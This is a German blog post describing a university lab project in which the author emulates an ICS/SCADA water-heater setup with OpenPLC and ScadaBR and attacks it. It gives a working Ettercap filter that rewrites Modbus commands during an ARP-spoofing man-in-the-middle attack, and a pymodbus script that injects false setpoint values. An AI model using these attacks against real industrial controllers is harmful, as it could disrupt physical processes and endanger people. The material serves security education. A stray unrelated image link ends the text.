Hacken emulierter ICS/SCADA-Geräte
Hallo Leute! Normalerweise schreibe ich keine Aufsätze. Aber von nun an werde ich mein Wissen über diesen Blog teilen.
Das war also ein Universitätsprojekt, das viel interessanter war, als ich ursprünglich gedacht hatte.
Daher sind industrielle Steuerungssysteme (ICS) anfällig für eine Vielzahl von Bedrohungen:
Fehlende Sicherheitsupdates: Viele ICS-Geräte laufen mit veralteter oder nicht unterstützter Software, wodurch sie anfällig für bekannte Sicherheitslücken sind.
Schlechte Konfiguration: ICS-Geräte sind möglicherweise mit Standard- oder schwachen Passwörtern, unsicheren Netzwerkprotokollen oder unnötigen Diensten konfiguriert, die von Angreifern ausgenutzt werden können.
Physischer Zugriff: Angreifer, die physischen Zugriff auf ein ICS-Gerät haben, können bösartige Hardware wie USB-Laufwerke oder Netzwerkkabel einführen, um sich Zugriff zu verschaffen oder den Betrieb zu stören.
Phishing und Social Engineering: Angreifer können Phishing oder andere Social-Engineering-Techniken nutzen, um Mitarbeiter dazu zu verleiten, vertrauliche Informationen preiszugeben oder auf schädliche Links zu klicken.
Malware: ICS-Geräte können mit Malware, einschließlich Viren, Trojanern und Ransomware, infiziert sein, die den Betrieb stören, vertrauliche Informationen stehlen oder physischen Schaden verursachen können.
Insider-Bedrohungen: Verärgerte Mitarbeiter, Auftragnehmer oder Partner können absichtlich oder unabsichtlich Schäden an ICS-Geräten, Daten oder Prozessen verursachen.
Mangelnde Segmentierung: ICS-Netzwerke sind oft nicht richtig segmentiert, was bedeutet, dass Angreifer, die Zugriff auf einen Teil des Netzwerks erhalten, leicht seitlich in andere Teile vordringen und Schaden anrichten können. Der Einsatz von DMZs würde ICS sicherer machen.
Interkonnektivität mit anderen Netzwerken: ICS-Netzwerke werden zunehmend mit Unternehmens- oder öffentlichen Netzwerken verbunden, was die Angriffsfläche vergrößert und sie neuen Schwachstellen aussetzt.
Einrichtung der ICS/SCADA-Geräte
Ich habe Thiago Alves Openplc Repo und seinen ScadaBR verwendet . Für die Emulation habe ich VMware Workstation Pro verwendet, da ich keinen Zugriff auf die notwendigen Hardwarekomponenten hatte.
Ich habe eine Ubuntu-Maschine 22.04 als Openplc-Maschine verwendet. Dann richte ich meine Kali-Maschine mit HMI/ScadaBR ein. Und ich habe einen dritten Computer, auf dem Ubuntu als Angreifercomputer installiert ist.
Kali Linux – 192.168.11.128 – HMI/ScadaBR
1. Ubuntu – 192.168.11.130 – SPS
2. Ubuntu – 192.168.11.129 – ANGREIFER
Die Installation von OpenPlc und ScadaBR ist recht einfach und die Anweisungen finden Sie in den oben verlinkten Github-Repos.
Sie können den Code für das Warmwasserbereiter-Experiment, das ich hier verwendet habe, auch in diesem Github-Repo erhalten.
Techniken, die zum Hacken von ICS/SCADA-Geräten verwendet werden
- Man-in-the-Middle-Angriff
- Falsche Dateninjektion
Die Durchführung eines Man-in-the-Middle-Angriffs (MITM) mit Ettercap ist eine gängige Technik zum Hacken von ICS/SCADA-Geräten.
Zuerst habe ich die Pakete analysiert, die zwischen OpenPLC und ScadaBR gesendet werden. Auf die Pakete mit dem einzelnen Schreibregister müssen wir uns konzentrieren. Da die Kommunikation zwischen SPS und Scada nicht verschlüsselt ist und im Klartext erfolgt , ist es recht einfach, die Pakete nach dem Abfangen in einem MITM zu ändern.
Die Idee des Angriffs besteht darin, mithilfe von ARP-Spoofing den Datenverkehr zwischen dem HMI und der SPS zum Angreifer zu leiten. Wenn ich der Mann in der Mitte bin, kann ich Pakete vom HMI empfangen. Sobald ich das Paket erhalte, ändere ich die Daten, bevor ich sie an die SPS weiterleite.
Wenn also ein Bediener die HMI verwendet, um die manuelle Heizung einzuschalten, schaltet sich stattdessen die Heizung aus und umgekehrt. Daher wird ein Paket über MITM geändert.
Die obige Tabelle enthält die Modbus-Frames und ihre entsprechenden Aktionen. Ich habe dies zum Schreiben des Ettercap-Filters verwendet.
Schreiben wir den Ettercap-Filter zur Durchführung des Mitm.
if (ip.proto == TCP && tcp.dst == 502) {
if (search(DATA.data, "\x01\x06\x00\x05\x00\x01")) {
msg("Changing manual on to off");
if (replace("\x01\x06\x00\x05\x00\x01", "\x01\x06\x00\x05\x00\x00")) {
msg("Success");
} else {
msg("Failed");
}
}
else{
if (search(DATA.data, "\x01\x06\x00\x05\x00\x00")) {
msg("Changing manual off to on");
if (replace("\x01\x06\x00\x05\x00\x00", "\x01\x06\x00\x05\x00\x01")) {
msg("Success");
} else {
msg("Failed");
}
}}
}
Zuerst filtern wir das Paket mit dem Zielport 502. Ich möchte nur die Pakete, die für die SPS bestimmt sind.
Die IF-Anweisung besteht darin, Pakete mit dem Muster \x01\x06\x00\x05\x00\x01 oder \x01\x06\x00\x05\x00\x00 für den manuellen Modus der Heizung EIN oder AUS zu filtern. Von hier aus sollte ich ein HMI-Paket zum Ein- und Ausschalten der Heizung an die SPS erhalten.
Führen Sie den umgekehrten Vorgang aus, indem Sie die Paketdaten ersetzen, um sie einzuschalten, wenn der HMI-Benutzer die Heizung ausschaltet, und umgekehrt.
Lassen Sie uns nun den Ettercap-Filter kompilieren.
Ein MANN IN DER MITTE werden
Jetzt können Sie versuchen, einen Vorgang durchzuführen, z. B. den Warmwasserbereiter auszuschalten. Dann werden Sie sehen, dass es sich stattdessen einschaltet.
Falsche Dateninjektion
Wir können die Solltemperaturadresse auf dem ScadaBR sehen. Mit Hilfe der Registerkarte „Offset“ konnten wir den Angriff durchführen. Es lieferte uns genügend Daten, um gefälschte Daten über Modbus zu senden.
Ich habe die Python-Bibliothek „ pymodbus “ verwendet, um den Angriff durchzuführen. Der Sollwert für Speicher-Offset 2 wurde aus dem obigen Bild ausgewählt. Es handelt sich um ein Bestandsregister, das wir selbst bearbeiten können. Im folgenden Code manipulieren wir das Register, das die Solltemperatur für insgesamt 60 Werte (0 bis 59) hält, mit einem Ruhezustand von 1 Sekunde dazwischen.
from pymodbus import client
import time
modbus_client = client.ModbusTcpClient('127.0.0.1')
# change setpoint temp every 1 second for 60 seconds
for i in range(60):
modbus_client.write_register(address=2, value=i)
time.sleep(1)
modbus_client.close()

![Was ist überhaupt eine verknüpfte Liste? [Teil 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































